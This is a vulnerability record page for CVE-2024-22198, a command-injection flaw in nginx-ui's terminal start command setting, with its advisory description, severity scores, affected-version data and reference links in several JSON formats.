cvelistv5 - cve-2024-22198

cve-2024-22198

Vulnerability from cvelistv5

Published

2024-01-11 19:38

Modified

2024-08-01 22:35

Severity ?

7.1 (High) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

References

URL	Tags
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18	Product
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11	Product
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29	Product
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45	Product
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12	Product
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3	Patch
security-advisories@github.com	https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35	Exploit, Vendor Advisory

Impacted products

▼	Vendor	Product
	0xJacky	nginx-ui

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "nginx_ui",
            "vendor": "nginxui",
            "versions": [
              {
                "lessThan": "2.0.0.beta.8",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta9:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "nginx_ui",
            "vendor": "nginxui",
            "versions": [
              {
                "status": "unaffected",
                "version": "2.0.0"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-22198",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-08-01T03:55:57.201752Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-08-01T13:20:06.222Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-01T22:35:34.877Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.0.0.beta.9"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-77",
              "description": "CWE-77: Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-01-11T19:38:27.296Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
        },
        {
          "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
        }
      ],
      "source": {
        "advisory": "GHSA-8r25-68wm-jw35",
        "discovery": "UNKNOWN"
      },
      "title": "Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2024-22198",
    "datePublished": "2024-01-11T19:38:27.296Z",
    "dateReserved": "2024-01-08T04:59:27.371Z",
    "dateUpdated": "2024-08-01T22:35:34.877Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2024-22198\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2024-01-11T20:15:45.120\",\"lastModified\":\"2024-01-18T19:14:25.667\",\"vulnStatus\":\"Analyzed\",\"descriptions\":[{\"lang\":\"en\",\"value\":\"Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.\"},{\"lang\":\"es\",\"value\":\"Nginx-UI es una interfaz web para administrar configuraciones de Nginx. Es vulnerable a la ejecuci\u00f3n de comandos arbitrarios al abusar de los ajustes de configuraci\u00f3n. La p\u00e1gina `Home \u0026gt; Preferences` expone una lista de configuraciones del sistema como `Run Mode`, `Jwt Secret`, `Node Secret` y `Terminal Start Command`. Si bien la interfaz de usuario no permite a los usuarios modificar la configuraci\u00f3n del \\\"Terminal Start Command\\\", es posible hacerlo enviando una solicitud a la API. Este problema puede provocar la ejecuci\u00f3n remota de c\u00f3digo autenticado, escalada de privilegios y divulgaci\u00f3n de informaci\u00f3n. Esta vulnerabilidad ha sido parcheada en la versi\u00f3n 2.0.0.beta.9.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9},{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"LOW\",\"baseScore\":7.1,\"baseSeverity\":\"HIGH\"},\"exploitabilityScore\":1.6,\"impactScore\":5.5}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-77\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"2.0.0\",\"matchCriteriaId\":\"B4426F94-540E-497C-AE75-04126AF12112\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta1:*:*:*:*:*:*\",\"matchCriteriaId\":\"3C287A7F-66B4-406A-B87B-B954A1CA6D44\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta2:*:*:*:*:*:*\",\"matchCriteriaId\":\"25DD91AC-465B-4A43-A79F-4DE47243741C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta3:*:*:*:*:*:*\",\"matchCriteriaId\":\"115588C7-D947-4576-9E6C-B5AF1FCE9A29\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4:*:*:*:*:*:*\",\"matchCriteriaId\":\"BBB20EA3-F3CF-42AF-A217-D5DF7A7ADD70\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4_patch:*:*:*:*:*:*\",\"matchCriteriaId\":\"81A6C732-FBF2-44A8-B810-456E54B59A09\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5:*:*:*:*:*:*\",\"matchCriteriaId\":\"8C5664E5-150E-4B4B-BA0C-420738820FF1\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5_patch:*:*:*:*:*:*\",\"matchCriteriaId\":\"7E764AA1-3060-441F-8F14-ADD165316741\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6:*:*:*:*:*:*\",\"matchCriteriaId\":\"04A3E84F-91AA-420A-B908-3393E037AC44\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch:*:*:*:*:*:*\",\"matchCriteriaId\":\"828EAE87-24E5-4F31-B301-BA2F96BDEA42\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch2:*:*:*:*:*:*\",\"matchCriteriaId\":\"45710D36-954A-4450-B622-CB0F368DF544\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta7:*:*:*:*:*:*\",\"matchCriteriaId\":\"2B57EEFB-5518-4BD5-998A-34B6690A6F4C\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8:*:*:*:*:*:*\",\"matchCriteriaId\":\"8EDF4CEE-F24D-441B-92A8-7F5A2B41487E\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8_patch:*:*:*:*:*:*\",\"matchCriteriaId\":\"F0275FDF-BAE8-4909-8991-6FCE34B8905E\"}]}]}],\"references\":[{\"url\":\"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Product\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}"
  }
}

Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.

Aliases

CVE-2024-22198

JSON

To clipboard

{
  "gsd": {
    "metadata": {
      "exploitCode": "unknown",
      "remediation": "unknown",
      "reportConfidence": "confirmed",
      "type": "vulnerability"
    },
    "osvSchema": {
      "aliases": [
        "CVE-2024-22198"
      ],
      "details": "Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9.",
      "id": "GSD-2024-22198",
      "modified": "2024-01-08T06:02:13.783488Z",
      "schema_version": "1.4.0"
    }
  },
  "namespaces": {
    "cve.org": {
      "CVE_data_meta": {
        "ASSIGNER": "security-advisories@github.com",
        "ID": "CVE-2024-22198",
        "STATE": "PUBLIC"
      },
      "affects": {
        "vendor": {
          "vendor_data": [
            {
              "product": {
                "product_data": [
                  {
                    "product_name": "nginx-ui",
                    "version": {
                      "version_data": [
                        {
                          "version_affected": "=",
                          "version_value": "\u003c 2.0.0.beta.9"
                        }
                      ]
                    }
                  }
                ]
              },
              "vendor_name": "0xJacky"
            }
          ]
        }
      },
      "data_format": "MITRE",
      "data_type": "CVE",
      "data_version": "4.0",
      "description": {
        "description_data": [
          {
            "lang": "eng",
            "value": "Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9."
          }
        ]
      },
      "impact": {
        "cvss": [
          {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
            "version": "3.1"
          }
        ]
      },
      "problemtype": {
        "problemtype_data": [
          {
            "description": [
              {
                "cweId": "CWE-77",
                "lang": "eng",
                "value": "CWE-77: Improper Neutralization of Special Elements used in a Command (\u0027Command Injection\u0027)"
              }
            ]
          }
        ]
      },
      "references": {
        "reference_data": [
          {
            "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-8r25-68wm-jw35"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
          },
          {
            "name": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12",
            "refsource": "MISC",
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
          }
        ]
      },
      "source": {
        "advisory": "GHSA-8r25-68wm-jw35",
        "discovery": "UNKNOWN"
      }
    },
    "nvd.nist.gov": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "B4426F94-540E-497C-AE75-04126AF12112",
                    "versionEndExcluding": "2.0.0",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta1:*:*:*:*:*:*",
                    "matchCriteriaId": "3C287A7F-66B4-406A-B87B-B954A1CA6D44",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta2:*:*:*:*:*:*",
                    "matchCriteriaId": "25DD91AC-465B-4A43-A79F-4DE47243741C",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta3:*:*:*:*:*:*",
                    "matchCriteriaId": "115588C7-D947-4576-9E6C-B5AF1FCE9A29",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4:*:*:*:*:*:*",
                    "matchCriteriaId": "BBB20EA3-F3CF-42AF-A217-D5DF7A7ADD70",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta4_patch:*:*:*:*:*:*",
                    "matchCriteriaId": "81A6C732-FBF2-44A8-B810-456E54B59A09",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5:*:*:*:*:*:*",
                    "matchCriteriaId": "8C5664E5-150E-4B4B-BA0C-420738820FF1",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta5_patch:*:*:*:*:*:*",
                    "matchCriteriaId": "7E764AA1-3060-441F-8F14-ADD165316741",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6:*:*:*:*:*:*",
                    "matchCriteriaId": "04A3E84F-91AA-420A-B908-3393E037AC44",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch:*:*:*:*:*:*",
                    "matchCriteriaId": "828EAE87-24E5-4F31-B301-BA2F96BDEA42",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta6_patch2:*:*:*:*:*:*",
                    "matchCriteriaId": "45710D36-954A-4450-B622-CB0F368DF544",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta7:*:*:*:*:*:*",
                    "matchCriteriaId": "2B57EEFB-5518-4BD5-998A-34B6690A6F4C",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8:*:*:*:*:*:*",
                    "matchCriteriaId": "8EDF4CEE-F24D-441B-92A8-7F5A2B41487E",
                    "vulnerable": true
                  },
                  {
                    "criteria": "cpe:2.3:a:nginxui:nginx_ui:2.0.0:beta8_patch:*:*:*:*:*:*",
                    "matchCriteriaId": "F0275FDF-BAE8-4909-8991-6FCE34B8905E",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "descriptions": [
          {
            "lang": "en",
            "value": "Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings. The `Home \u003e Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. While the UI doesn\u0027t allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the API. This issue may lead to authenticated remote code execution, privilege escalation, and information disclosure. This vulnerability has been patched in version 2.0.0.beta.9."
          },
          {
            "lang": "es",
            "value": "Nginx-UI es una interfaz web para administrar configuraciones de Nginx. Es vulnerable a la ejecuci\u00f3n de comandos arbitrarios al abusar de los ajustes de configuraci\u00f3n. La p\u00e1gina `Home \u0026gt; Preferences` expone una lista de configuraciones del sistema como `Run Mode`, `Jwt Secret`, `Node Secret` y `Terminal Start Command`. Si bien la interfaz de usuario no permite a los usuarios modificar la configuraci\u00f3n del \"Terminal Start Command\", es posible hacerlo enviando una solicitud a la API. Este problema puede provocar la ejecuci\u00f3n remota de c\u00f3digo autenticado, escalada de privilegios y divulgaci\u00f3n de informaci\u00f3n. Esta vulnerabilidad ha sido parcheada en la versi\u00f3n 2.0.0.beta.9."
          }
        ],
        "id": "CVE-2024-22198",
        "lastModified": "2024-01-18T19:14:25.667",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "nvd@nist.gov",
              "type": "Primary"
            },
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 7.1,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 1.6,
              "impactScore": 5.5,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2024-01-11T20:15:45.120",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Product"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch"
            ],
            "url": "https://github.com/0xJacky/nginx-ui/commit/827e76c46e63c52114a62a899f61313039c754e3"
          },
          {
